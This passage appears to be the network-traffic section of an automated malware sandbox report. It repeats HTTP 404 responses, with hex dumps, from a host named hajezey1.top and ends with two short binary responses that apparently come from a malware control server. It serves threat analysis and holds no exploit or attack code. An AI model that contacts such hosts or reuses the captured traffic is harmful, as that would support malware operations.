79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:56 GMTContent-Type: text/html; charset=utf-8Content-Length: 7Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 03 00 00 00 1d 3d 5e Data Ascii: =^
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:57 GMTContent-Type: text/html; charset=utf-8Content-Length: 42Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 07 9b 01 c2 40 9c e2 0f b3 66 f5 26 0a 5b 22 f9 6a 00 7e c2 5d 31 0e Data Ascii: Uys/~(`:@f&["j~]1
